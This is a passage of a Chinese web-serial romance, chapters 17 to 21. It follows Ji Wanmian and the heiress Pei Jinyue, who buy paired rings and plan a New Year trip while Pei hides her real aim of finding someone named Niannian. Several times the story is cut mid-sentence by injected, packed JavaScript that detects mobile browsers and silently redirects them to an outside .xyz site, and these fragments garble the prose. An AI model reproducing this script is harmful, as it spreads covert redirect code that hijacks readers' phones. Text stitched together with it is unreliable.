可刚一见到大小姐眉眼间稍微失望的神情时，都不用对方开口，季晚眠立刻心软下来，说：“我们现在就去找吃的。” “好。”裴今月几乎算是一秒回答，站起身，走到了季晚眠身旁。 啊—— 季晚眠心都快化了。 但为了给裴今月留点面子，季晚眠捂着自己的肚子说：“其实是因为我太饿了，所以才想着不点外卖，直接下楼买饭吃的。” 裴今月一直在点头：“好。” 不知道为什么，季晚眠觉得今天的裴今月实在太乖了，难道是因为要住在她家一段时间，这才变得“温顺”了些？ 走在路上，季晚眠还是忍不住赞叹了一句：“裴今月，你今天真的好可爱。” 裴今月停下脚步，略微有些惊讶地问：“这样就很可爱吗？” 更可爱了。 季晚眠都有些不敢看向裴今月了，怕再看两眼，自己会真的忍不住亲一口。 “真的很可爱。”季晚眠笑着答道，脚步加快了些，“所以我们走快些吧，外面冷，咱们吃完就回家。” 回家说不定就能亲到了…… 裴今月跟在其后，没有接着点头。 在季晚眠看不见的地方，她又恢复了往常的神情。 她望着其的背影，心里想：既然已经来到了季晚眠身边，就应该抓住机会来锻炼自己的情绪表达能力。 一路走来，季晚眠在前面不停在心里感慨——裴今月看似冷酷的外表下，怎么会有这么可爱的另一面。 而走在后面的裴今月，悄悄在心里记下自己刚刚的表现。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912656|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来成为可爱的人也不需要很努力。 吃完晚饭后，她们二人走在回家的路上，街道上已经没有多少行人。 慢慢地享受着晚风的浪漫，季晚眠听到远方不知哪里传到耳边的音乐声，下意识问身旁人：“裴今月，你能给我唱一首歌吗？” 说完这句话后，半天没有得到裴今月回应，但季晚眠也没有觉得很后悔，因为她很早之前就想问出这句话了。 她曾无意间听到过裴今月清唱过一首歌，就是随意唱出来的声音，却在她心里环绕了很多年。 这么多年，她都期盼能有机会再听一次，但现在自己好不容易与裴今月在一起了，应该能有再听一次的机会。 等到远方的歌声停止，季晚眠还是没有等来裴今月的任何回应，逐渐安静下来的街头，连失落的叹气声都被放大。 但也不能强求别人，季晚眠安慰了自己一会，便挥挥手说：“算了……” 倏地，沉默良久的裴今月张开口，回答：“回家唱吧。” 季晚眠的失落一扫而空，只剩下满满的惊喜。 她一边雀跃地蹦蹦跳跳在裴今月身旁转圈，一边笑着说：“太好了，时隔多年，又可以听到裴今月唱歌了。” “唱歌会让你这么开心吗？”裴今月问。 季晚眠毫不犹豫地回答说：“肯定呀，因为是你给我唱的歌啊。” 裴今月看着季晚眠毫不掩饰的笑容，对比了其刚刚选戒指的神情，两个都是差不多的高兴，难道这两个事在她心里没有差别？但很明显这两个分量不一样。 于是，她好奇问：“是戒指让你更开心，还是唱歌让你更开心？” “都开心呀。”季晚眠虽然有些不解裴今月怎么今天话出奇得多，但大小姐愿意多说一点肯定对她来说是好事，所以乖乖地认真回复说：“不是事情本身让我开心，而是这些美好的事情都与你有关，我才会这么开心。” 闻言，裴今月愣了片刻。 恰好从远处吹来一阵晚风，恍惚间，她觉得这阵风将自己一向不变的思维吹得出现了差错。 真奇怪。 说不上缘由。 只觉得情绪实在复杂。 但晚风一吹停，她那奇怪的情绪也随风去了。 她会一直保持清醒，记得自己想要的究竟是什么。 17. 第 17 章 一想到自己时隔多年又可以听到裴今月的歌声了，季晚眠可真想一路就这么一蹦一跳地快些回家了。 不行，她转念一想，觉得裴今月应该喜欢的是稳重的人，所以她尽量克制住自己想蹦跶的脚，努力变成其心里想要的样子。 终于快到家了。 季晚眠从未觉得这段路竟然如此漫长。 站在门口，她激动得连拧钥匙的手都有些不稳。 裴今月没有说一句话，只是在后面慢慢打量着季晚眠的神情。 关上门后，季晚眠也没主动提唱歌一事，而是像很忙的样子，忙一会整理房间，又溜达去卫生间卸了妆，最后坐在书桌前，看着自己手上的工作，轻叹了一声，嘀咕：“哎呀，怎么忘记放个歌听了。” 裴今月靠在沙发上，静静地看着季晚眠的欲盖弥彰，轻轻咳了两声，清了清嗓子。 正在她想找手机里的歌词时，才发现季晚眠不知道什么时候从书桌旁边溜了过来，已经乖乖地坐在她的面前，双手撑着脸，眨着眼睛，安静地等待她。 看来今天不唱是不行了。 裴今月找出手机里的歌词，距离上次听到裴言那句“不务正业”后，她已经很久没有唱歌了。 虽然她确实没有旁人那么多情绪，但她偏偏能够在音乐里感受到一些情感。 可这唯一的机会，都被掐灭了。 就在裴今月回想旋律时，余光里看见一个藏不住笑意的季晚眠，哪怕她还什么都没做，那人就已经高兴得眉眼弯弯，嘴角上扬。 大概是感受到了她的目光，季晚眠收敛了一下笑容，稍微用手遮了遮嘴角。 但笑意又从眼睛里溢出来了。 为什么能这么开心？ 裴今月一直都难以理解季晚眠的心情。 但也用不着费心思理解，只用记得做这些事情会让人开心就好了。 冬天的夜晚很安静，大家都像是因为怕冷，早早去睡觉了。窗外也只会偶尔传来一两声小响动，完全不会影响这场属于裴今月一个人的“演唱会”。 裴今月坐在沙发上，没有麦克风，没有舞台，就只有一个手机，一个观众。 歌词还没到，她便跟着旋律哼了几声。 这随便两句哼哼都这么好听啊—— 季晚眠瞬间捂着心脏，想要感慨又怕打扰了裴今月，便收回了到嘴边的话，专心地往下听。 听表面冷淡的裴今月如何唱出这么充满感情的歌词。 音乐总能让人勾起回忆。 季晚眠望着对面唱歌的人，仿佛又看到了大学时候那个望着湖边哼起歌的裴今月。 也是在那一瞬间，她才会觉得自己与裴今月离得那么那么近，好像那些悬殊巨大的家世背景全都消失不见，不是裴大小姐，而是一个悠悠闲闲看湖、还情不自禁哼歌的裴今月。 或许裴今月本该这么美好。 歌词旋律太熟悉，以至于裴今月在唱着的时候，也走了神。 她想起裴言是如何砸碎她的理想，指责她的向往，拽着她朝所谓“应该”走的方向往前走。 哪怕她说过自己压根对那些不感兴趣，也不会有人在意。 对她的诉求充耳不闻，到头来却又要怪她任性无理取闹。 歌声慢慢停了下来。 四周又恢复了一片寂静。 但不到三秒，季晚眠的长长的赞叹声“哇”打破了这短暂的静谧，要不是怕吵到隔壁邻居睡觉，她都想要放声大喊：“裴今月，你唱得太好听啦！” 她稍微放低了一点音量，但加了更多的赞美词：“你唱得实在太好听，是我这么多年听过最好听的声音了，感觉听到的每一秒都像是人间难遇一样……” 裴今月放下手机，听着季晚眠称赞的话语，竟真生出了些欢喜来，原先只是想随便唱唱，满足其心意就好，完全没想到对方在听完以后仍能爱成这样。 “很好听？”裴今月虽然知道自己不会跑调，但还是担心没有感情，唱一首能听的歌的情绪也是极其重要的。 其实，话音刚落，她就猜出了对面睁大眼睛看着她的人会回答什么。 “不是一般的好听！”季晚眠毫不犹豫，连脑子都不用转，话就从嘴里跑出来了，“好听得我都快哭了。” “这首歌很伤感吗？”裴今月有些疑惑，明明她觉得旋律并不算悲伤。 “不是因为伤感，只是觉得太美好了。”季晚眠抹掉眼角的泪花说，“美好得让人想哭。” 这就是喜极而泣？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912657|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴今月望着季晚眠，在心里默默想着：原来喜极而泣并不需要强烈的欢喜来刺激，只需要这么简单一个场景便可以。 倏地，季晚眠叹了声气，又看了眼自己书桌上还没完成的任务，闷闷不乐：“但一想到这么美好的画面，我却要去加会班……还真有点难受了。” 她也不想大半夜不睡觉接着加班啊，但她明天想出去玩，就只能今天辛苦点了。 有时候真不想上班……好吧，是大多时候。 裴今月也没挽留，而是说：“你去吧，我接着唱。” 短短七个字，在季晚眠心里胜过千万字。 这可太有动力了！ 季晚眠坐了下来，将头发都扎了上去，挽起袖子，拿起笔，打开电脑，上班！ 区区草稿、分镜、勾线而已，只要裴今月还坐在她旁边，她就一秒都不会觉得累。 她唱歌，她画画。 这一幕，季晚眠连做梦都不敢想。 却这么轻轻松松就实现了。 一切美好得太虚幻。 哪怕今天已经实实在在地发生了这么多事情，裴今月也真正地睡在了她的旁边，季晚眠仍然觉得是幻觉。 她都不敢入眠，怕自己睁开眼发现，所有的一切，都只是她的一场痴心妄想。 在睡不着的那些时光，季晚眠一遍遍地用指尖去触碰裴今月，像是在确认这是现实。 可就算她心里再想，她还是没有勇气从背后抱住裴今月，明明只要抱住了心里的人，她就可以安安心心地闭眼入睡了。 她只敢远远地看着，轻轻地触碰着，以不让对方感知的方式默默爱着，像曾经站在裴今月身后的那样，不敢再靠近。 后来，季晚眠翻了个身，想背对着裴今月。 但是她没想到裴今月竟然主动抱住了她。 裴今月慢慢地朝她贴了上来。 很轻、没有半点动静。 季晚眠有些担心是自己翻身弄醒了裴今月，犹豫要不要开口说什么，却听到了身后人含糊不清的话语：“戒指……明天……” 原来裴今月也在期盼明天的戒指呀。 季晚眠忍不住勾唇笑了笑，安心地进入了梦乡。 看来明天也会好心情。 18. 第 18 章 但明天不是个好天气。 又下雨了。 冬天的雨不似夏天那般突如其来、狂风暴雨、让人总是猝不及防淋一身雨，但冬天下雨实在太冷，季晚眠原想不顾寒冷，穿着漂亮的裙子出门，结果还没走出去，刚换上就冷得发抖，连连打了不少喷嚏。 裴今月的声音从身后传来：“多穿点吧。” “好……”季晚眠冷得牙齿都在发抖，颤着手换下裙子，穿上厚厚的裤子，再配上长得将腿都遮住的羽绒服，这才感觉自己回了点暖，整个人都活过来了。 看着面前的裙子，她摇了摇头，美很重要，但也不能因此生了病。 听到裴今月换衣服的动静消失，季晚眠才出声问：“你穿我的衣服大小合适吗？我可能买得便宜，也不知道你穿上去舒不舒服。” 裴今月没直接回答，而是说：“你回头看看。” 季晚眠心里想着裴今月竟然都开始神神秘秘了，结果刚一回过头，她惊得嘴巴都张开了。 她看着面前的人，脱口而出：“裴今月，我那么普普通通的衣服裤子，怎么能被你穿得这么好看！” “真的吗？”裴今月走在镜子前照了照，只觉得和寻常没有什么不同，真想不通为什么季晚眠能这么一惊一乍地夸她。 季晚眠坚定地点头：“真的！” “你对所有人都这样吗？”裴今月的视线从镜子里的自己移开，缓缓落到了季晚眠身上。 天啊—— 裴今月是在吃醋吗！ 第一次脑子里冒出这个念头，季晚眠呼吸一滞，激动得都快感受不到一丝丝寒冷了，只觉得心潮澎湃，想要立刻冲过去亲一口她的裴今月！ 不行，她得保持冷静，可不能吓跑了那单纯可爱大小姐，因此她用清嗓子来压制住心里的雀跃，望向裴今月回答：“只对你。” 裴今月一定感动坏了吧！ 季晚眠天马行空的想象力让她的脑海里已经描绘出——裴今月在她面前感动得哭鼻子，她一把将其揽了过来，抱在怀里好好哄。 但这都是季晚眠画漫画多年的职业能力罢了。 幻想是美好的，而现实是裴今月轻轻点了头，没再多说什么。 季晚眠也稍微收了收自己露在外面的牙齿，理了理衣服，改了话题说：“那我们出去吧。” “好。”裴今月给自己随意戴上围巾，跟在季晚眠后面。 “哦，差点忘了拿把伞。”刚走到门口，季晚眠一拍脑袋，转过身去找伞。 然而，走到裴今月旁边时，她抬起的脚悬在半空，犹豫了两秒才落下去。 裴今月不解地看着愣在面前的人。 倏地，季晚眠抿着唇，抬起手，放在裴今月的围巾上，轻轻地整理。 她有些紧张，咽了咽口水，连声音都控制不住发颤，但手上的动作没停：“我怕你这样不保暖，所以就想帮你理一下。” 若是换了往常，裴今月可能会直接推开，因为她并不喜欢有谁突然离自己这么近，但在这几天相处下来，她慢慢对季晚眠少了些戒备心，这才任由其靠近，近到外套都贴在了一起。 给裴今月重新戴好围巾后，季晚眠连忙收回了自己的手，眼神慌乱，耳根发烫，匆匆回到客厅里找伞。 “砰砰——” 雨水落在了她们一起撑的伞上，砸在了一滩水里，融为一体，化成了更大的一片。 季晚眠近乎疯狂的心跳声也融进了这场雨里。 在与裴今月一起走进一家珠宝店后，各式各样的首饰映入眼帘，季晚眠刻意没有表现出自己的惊讶，免得让旁人知道她第一次来。 在强装镇定的同时，她悄悄用余光观察着旁边的裴今月。 真不愧是有钱人家的大小姐，举手投足间的气质都与旁人不同。 季晚眠将这些全都记在心里，为了更好地站在裴今月身边，她得变得更加优秀。 至少能做到在一同进入高奢店时不会怯场与畏手畏脚。 有柜姐走了过来，在短短三秒内眼睛就已经在她们二人身上打量了一圈，展露出一个笑容：“您好，请问需要什么？” 裴今月言简意赅：“戒指。” “好。”柜姐笑着点了点头，领着她们朝另一边走去。 季晚眠莫名觉得浑身不自在，可能因为刚刚与柜姐对视的那一眼，生出了一些不同的感觉，但愿是她敏感才多想的吧。 虽说两个戴一模一样围巾的两个女孩一起来选戒指，是容易让人猜出点什么，但季晚眠没再多想，直接丢掉了那些“不自在”。 其实，旁人看不看得出来已经无所谓了，无论是小心翼翼藏起，还是大大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912658|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方方展示，她们依然是她们。 柜姐站在玻璃柜前，停下脚步，微笑着看她们，张开了口，大概是在酝酿措辞。 裴今月没有等着柜姐问，直接说：“要对戒。” 柜姐没表现得吃惊，只是点了点头：“好，那你们可以先看看这些。” 等到裴今月走了过去，季晚眠才跟上其脚步。不得不承认，在望向那闪着光亮的戒指时，她强烈地感受到为什么求婚要用戒指、婚礼要交换戒指。 一开始季晚眠对这些不以为然，还觉得太物质，像她这样的，要是喜欢的人用一束花来求婚，说不定她都感动到掉着眼泪答应了，至于结婚，她也没多在意，相爱就是相爱，为什么要在别人面前证明？ 但现在的季晚眠在见到那一双双对戒后，如同大梦初醒，意识到结婚不止是一场证明，戒指也不止是物质，而是含着爱的一场告白、一次誓言的载体。 互相为对方戴上戒指，可以认作相恋的人为对方定下的一个契约，是许下的誓言变成实物，放在手指上，时时刻刻不能忘却。 季晚眠突然好想看到裴今月好看的手上，有着与自己相似的戒指，要是有人问起来，她可以秀着自己的戒指，得意洋洋地说：“你看，这是我和裴今月一起买下的哦。” “试一下这个吧。”裴今月随意地将面前的对戒扫了一圈，挑了个合眼缘的，指着其中一对，抬头对柜姐说。 柜姐看到顾客没什么纠结的神情，喜笑颜开地拿出戒指，嘴里还念念有词：“您真是好眼光，需要我来介绍一下吗？” “谢谢，但不用介绍了。”裴今月礼貌地干脆拒绝。 真不愧是大小姐，季晚眠在旁边心服口服。 柜姐讪讪地笑了，没继续往后说。 对戒放在旁边后，裴今月望着季晚眠说：“你先试试。” 季晚眠受宠若惊地拿出一个戒指，格外小心谨慎，生怕不小心弄坏了。 她先是往无名指试了一下，又往中指试，戒指本身很好看，都衬得她这双手有些好看了。 然而，对她而言，唯一美中不足的就是有些大，虽然不用担心走着路就掉了，但不像电视剧演得那样取不下来。 “挺合适的。”裴今月自己也试了一下，没有任何问题，又将目光投向了一旁的季晚眠，问：“你呢？” 19. 第 19 章 季晚眠犹豫了几秒，并没有说出自己的意见，而是点了点头，浅笑着说：“很合适。” 毕竟也不是什么大问题，又不会直接掉下来。况且，光是想想手上的戒指是裴今月选给她的，她就够开心的了。 “我买下了。”裴今月取下戒指，对柜姐说。 正在取戒指的季晚眠再次大吃一惊，连忙跟着回答说：“我们一起付。” “好。”柜姐笑得眼睛都快成一条缝了，高高兴兴地跑去包装戒指。 因为是裴今月在选，季晚眠一直没注意到哪里能看到价格，对于她这样的人，明确的价格会让她生出心安——虽然在这样看上去就华丽奢侈的地方，她的心早就不得安宁了。 很快，柜姐就解答了季晚眠的疑惑。 听到那个响亮的数字时，她惊得眼睛都瞪圆了，幸好裴今月在旁边，这才让她勉强保住了最后一点理智与矜持，不然她都要忍不住脱口而出：“这么贵——” 可裴今月刷卡时眼都没眨一下。 就在季晚眠纠结要不要为了面子主动提出付一半钱时，裴今月早就已经付好了。 走在回家的路上，季晚眠仍然有些恍惚，满脑子都环绕着那串数字，仿佛还没从那惊人的天价里走出来。 以至于裴今月叫了她两声，她才猛地一下回过神，疑惑地偏过头。 “你怎么了？”裴今月指着季晚眠淋湿的肩头问，“你打着打着伞就全往我这边偏，你自己都淋到雨了。” 季晚眠“啊”了一声，将雨伞摆正，不好意思地说：“刚刚走神了。” 裴今月问：“在想什么？” “没什么、没什么。”季晚眠摇了摇头，还是决定不说出心里的感受与疑惑，总不能让裴今月知道她现在有多么后悔自己为什么不再更拼命挣钱。 “你是在想我为什么还有钱吗？”裴今月猜测道。 还真被裴今月猜到了一条。 说实话，在季晚眠此时此刻乱七八糟的脑子里，确实也很好奇为什么在裴言断了其卡后，裴今月还能做到这么高的消费。 “裴言是不会彻底放弃我的。”裴今月突然自顾自地开始解释。 季晚眠表示理解：“对啊，哪有母亲不爱孩子的。” 裴今月没往后说，只是在心里觉得可笑——裴言哪里爱她，明明是觉得她身为裴家的女儿，不能做出些拿不出钱的丢人事情。 但由于“母女”这跟斩不断的血缘，裴言只能被迫以母亲的身份，推着裴今月一步步朝自己认为的最佳方式走。 裴今月踩到了一滩水里。 既然如此，那她就不朝裴言满意的方向走。买下戒指，目的就是让裴言看出她已然走偏的决心。况且，就快见到年年了，她必须让裴言早点接受这一现实。 至于与谁一起买的对戒，已然不重要了。 她提起脚，水面泛起波澜。 溅起的水花，不偏不倚蹦到了季晚眠脚旁。 但季晚眠自然是不会有所察觉的。 她现在的心情极其复杂，时而欢喜，时而焦虑，时而激动，时而担忧……密密麻麻的情绪快要将她的心淹没。 倏地，面前突然冒出一个人，打岔了她的心绪，暂且让她放松了一会。 “晚眠？这么巧，又碰到了。”陆渔本想打个招呼，可她没撑伞的手拎着两个大袋子，完全腾不出来。 “是小渔呀。”季晚眠有些惊讶，这两天遇见陆渔的频率实在高了些，“你也在逛商场吗？” “是的。”陆渔晃了晃自己手上的袋子，笑得眉眼弯弯，“出来买两件衣服。” 季晚眠“哦”了一声，又想起之前陆渔的话，好奇问：“那你的店呢？” “我找了别人守着的。”陆渔解释说，“今天下雨生意不算太好，我就想着出来逛逛街。” 季晚眠点了点头，想着这么多年没见，关系也不像之前一样好了，便没有再多问。 陆渔看了眼手机，神情明显慌张了些，说：“本来还想问要不要一起吃个饭的，毕竟上次也没吃成，但是我现在有点事得先回去了，真不好意思啊。” “没事的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912659|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季晚眠挥手说，“我们下次聚也可以的，到时候我约个时间。” “好！”陆渔先是答应了下来，可刚一抬脚准备离开时，又补充说：“但是跨年那天可能不大行，我有很重要的事情。” 闻言，季晚眠也没问，只是笑着说：“知道啦，跨年那天我不会来打扰你的。” 陆渔脸颊泛开一抹红晕，边笑边挥手说：“拜拜——” 季晚眠也不停挥着手告别。 直到陆渔走远到影子都消失不见时，一旁被冷落的裴今月才出声问：“刚刚那个人是叫陆渔吧？” 季晚眠说：“对呀，前两天她也跟我们碰过面的。” 裴今月若有所思地“嗯”了一声。 季晚眠猜测裴今月也看出了什么，便问：“虽然背后说别人不好，但你是不是也觉得小渔……” 她犹豫了一下，不知该不该继续往后说。 裴今月点头说：“好像是。” 季晚眠像是被得到了认可，刚想说出“看吧，我就说你也会觉得她也是喜欢女生”的话，结果裴今月后一句话一说出来，她连忙闭了嘴。 “其实在那天之前，我好像就见过她。”裴今月说，“只是隔得有些远了，我不大记得清。” “这么巧的吗？可是她跟我是一个高中的呀，你怎么会见过呢？”季晚眠疑惑地问，“难道你之前去过楠城？” 裴今月摇了摇头。 她从未去过楠城，自然是不会碰到陆渔的。 但是她向来记性不错，哪怕匆匆扫过一眼她都能记下来，只是可能印象不够深刻，暂时想不起在哪见过了。 倏地，季晚眠捏着衣角，像是下定决心，问出心里一直想说的话：“说到这……你要不哪天陪我回楠城一趟？” 虽说不回去说清楚关系，但还是要让妈妈和爸爸先见见裴今月，之后要是哪天真需要说出来的话，解释起来也能轻松些。 “好。”裴今月没有多想，先答应了下来，在她去找苏城找年年之前，还是需要住在季晚眠家里，可不能出一点差错。 20. 第 20 章 季晚眠一怔，本就脑子一热说出来的话，没想到裴今月会答应得这么干脆，脑子里已经酝酿好要是被拒绝了该如何收场，这下对方同意了，倒还让她要再继续想想怎么往后说。 “那……”她垂头纠结着回去的时间，过年回去也不大好，就跟真的跑回去见家长一样，别的时间也没想好是那一天。 裴今月立在其旁玩手机，也没催促她，这倒给了她充足的时间来想。 虽说季晚眠工作时间稍微自由些，但别的时间回去，妈妈和爸爸也在上班。 倏地，她想起陆渔走之前说的话，最近的节假日确实只有元旦节了。 她一下就敲定日期，元旦节好啊，又是跨年。 要是能与裴今月一起跨年，就意味着她们携手走过旧年，又来到新的一年。 季晚眠朝裴今月说：“那就元旦节回去吧。” 正在回消息的裴今月点了点头，回答了一声“好”。 听到这个答应的字眼，季晚眠心生欢喜，一想到之后既能与裴今月一起回楠城老家，又能与其一起跨年，她就忍不住感慨一句——这也太美好了吧。 季晚眠用冰冷的手背蹭了蹭发烫的脸颊，好让自己降降温。 裴今月发送完消息后，也放下手机，陪她一同往前走。 步调一致，连期待的日期都一致。 裴今月也在期盼着元旦节那天的到来。 倒不是因为季晚眠。 而是就在刚才，祁绾绾发来的消息，让她确定已经找到年年了，所以，她立刻买好了航班。 十二月三十一日，前往苏城。 “雨停了。”季晚眠发现路上没有多少行人在撑伞了，便伸出手探了一下，发现雨已经没有在下了，“那我收伞了。” “好。”裴今月应了一声。 伞合上了。 但伞下的人心却散了。 快要到小区，季晚眠先让裴今月回了家，自己去超市买点菜。 今天她心情不错，要给裴大小姐露一手自己的厨艺。 “一起吧。”裴今月想着闲来无事，便跟了上去，刚好也能多体验些生活。 “这会不会不符合你的……身份？”季晚眠有些吃惊，委婉地问出了心里所想。 “我有什么身份？”裴今月从不介意这个，也向来没有觉得自己高人一等，“我也只是个人。” “好！”季晚眠自然是想要与裴今月一道走的，连忙答应了下来，笑着说：“那我们一起去吧。” 走进超市里，季晚眠推着小车，裴今月跟在后面，精心挑选着蔬菜与水果。 现在这个点人不算多，她们也不着急，慢悠悠地选。 看着裴今月一脸清冷地挑蔬菜，季晚眠掩不住笑意，只觉得其像从天而降的神女开始融入人间，染上了人间烟火气。 裴今月拿着称好的两个土豆，望向季晚眠，问：“你在笑什么？” “笑……”季晚眠想了想，说不清楚自己为什么这么高兴，看着裴今月手上的土豆，胡言乱语说：“笑这土豆长得可真好啊。” 裴今月不理解季晚眠的话，说：“长得好有什么用，都要被吃掉了。” 季晚眠听完，撑着小车，笑得弯了腰，心里嘀咕：这位裴大小姐竟然也有幽默的时候。 “我们接着往前看看吧。”还是裴今月先开了口，这才让她们接着去买东西。 一晃眼推车里就快被堆满了，本打算去结账了，季晚眠看见旁边还有卖鱼的，想着自己也好久没吃鱼了，脱口而出：“要不我们去买条鱼吃吧，年年有余嘛……” 话还没说完，季晚眠的表情变得僵硬。 原以为早已忘却的名字又在她心里浮现出来，扎在心上，猛然刺痛着她。 这几天实在美好，以至于再回忆起那些现实，都觉得十足难受。 季晚眠抿唇，没再接着往后说，也不敢去看向裴今月。 裴今月没有回复她的话，而是朝结账的方向走着，说：“回家吧。” “好。”季晚眠低着头，跟了上去。 年年。 季晚眠还在想这个名字。 她已经和裴今月在一起了，她要相信自己的爱人，应该忘掉这个名字，忘记那些过往。 可她又该怎么去遗忘曾经深夜的痛恨与不堪？ 季晚眠抬头，望向裴今月的背影。 大小姐走得从容，不急不缓。 这么一看，倒是显得季晚眠对此念念不忘了。 算了。 就让往事全都抛后。 距离跨年夜只有十六天了。 她们即将携手迎来新的一年，说不定那些前尘往事全都随着旧年一起被遗忘吧。 拎着一大口袋蔬菜、水果，还有数不清的零食回到家，季晚眠飞快跑到客厅，放下东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912660|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西，甩了甩酸软的手。 “这么沉，为什么不让我多拿一点？”裴今月也放下雨伞与戒指，关上门。 “你不是也拿了很多？最贵重的都在你手上呢。”季晚眠笑着回答，可能是提的东西太重，她走得有些热，坐下来后就不停用手扇风。 “你这么热？”裴今月见季晚眠热得脸都红了，好奇问。 “还好。”季晚眠噌地一下就从凳子上弹起，都没休息两分钟，就系上围裙，跑往厨房的方向走，“看我给你展示一下季大厨的手艺。” “不再多休息一下？你都出汗了。”裴今月说。 季晚眠用指尖蹭了蹭，竟然真的冒出了点汗，真没想到这大冷天还会热到出汗，但偶尔的深夜出汗另说。 她转了个身，想去客厅拿点纸巾擦一下。 结果还没走，裴今月就已经走了过来，还拿着纸巾。 季晚眠咽了咽口水，大小姐该不会要给自己擦汗吧？ 早知道喷点香水了啊啊—— 但她多虑了。 裴今月只是过来递个纸的。 季晚眠有些小失落地接过纸，自己擦了擦额头冒出来的汗。 就在她想将纸丢进垃圾桶里时，裴今月在她背后问：“你是想让我给你擦吗？” 季晚眠动作一顿，在与垃圾桶的垂直距离里都没丢进去，还需要她弯腰将纸捡起再丢。 倏地，她回过头，有些震惊地唤了一声裴今月的名字，说：“你都能看出我的小心思了。” 说实话，裴今月也觉得不可思议，向来对这些迟钝的她，竟然能看出季晚眠并未表达出的感受。 看来这几天与其的相处确实对她感知情绪挺有帮助的，没白来。 这下就算裴今月没有做任何事，季晚眠也觉得收获颇丰，更有干劲了些。 她脱下厚重的羽绒服外套，挽起袖子，走向厨房，说：“那我去做饭啦，一定给你一顿美味的大餐。” 裴今月也跟了过来，立在厨房门口，静静地看着季晚眠。 季晚眠干劲十足，但确实也只有干劲。 在厨房徘徊了一会，半晌只煮了个饭，她立在一堆菜前，挠了挠头，回忆自己该先做什么来着。 果然，上班上久了，连生活都快忘了。 前几天忘记化妆，今天忘记怎么炒菜。 顿时，裴今月主动出声说：“我来吧。” 21. 第 21 章 季晚眠大吃一惊，连忙挥手，说：“这怎么行？还是我来吧。” 裴今月放下手机，找了个皮筋，随意地扎起长发，挑眉问：“你不相信我能做好？” “没有、没有。”季晚眠不停摇头，解释说，“我只是觉得弄这些……” “不符合我的身份？”裴今月重复了一下季晚眠在路上的话，走到厨房里，接着说：“我现在从裴家出来了，只是普通人，怎么不能弄这些？” 季晚眠也不想继续与裴今月争，但又实在心疼，便闷声闷气地说：“但是洗菜那些可能会冷到你的手。” “你都可以，为什么我不行？”裴今月也将袖子挽了上去，说动就动，开始忙活起来。 季晚眠眉开眼笑，只觉裴今月在关心她。 那便让大小姐试试吧。 就算弄得再不好，她也会夸好吃的。 可是很快，裴今月就用自己的实力告诉季晚眠—— 谁说大小姐不会做饭的？！ 季晚眠从大厨的位置慢慢变成了递东西的小妹，目瞪口呆地看着面前的一切，不由得感慨了一句：“你怎么做到的？之前有做过饭吗？” 不应该啊，哪有大小姐亲自做饭给自己吃的，难道不都是十指不沾阳春水的吗！ 裴今月一边忙一边说：“没有，刚刚在手机里学到的。” 季晚眠瞪圆双目，更加吃惊了，说：“就我煮个饭的时间，你都学会怎么做饭炒菜啦？” 裴今月点了点头。 季晚眠真想给裴今月树一个大拇指，难怪裴母得知自己的女儿跟她跑了后会这么生气，她们家的基因是真挺厉害的。就以裴今月的能力，哪怕真要出来找工作，肯定也很有竞争力的。 但她还是有些不清楚裴今月为什么与她一样同是美术生，却感受不到一点爱画画呢。 大学毕业后，也没见到其提到过画画，就连她画漫画的时候也没见到裴今月过来看一眼。 就在季晚眠感慨的这段时间，裴大小姐已经完成了第一道菜的制作。 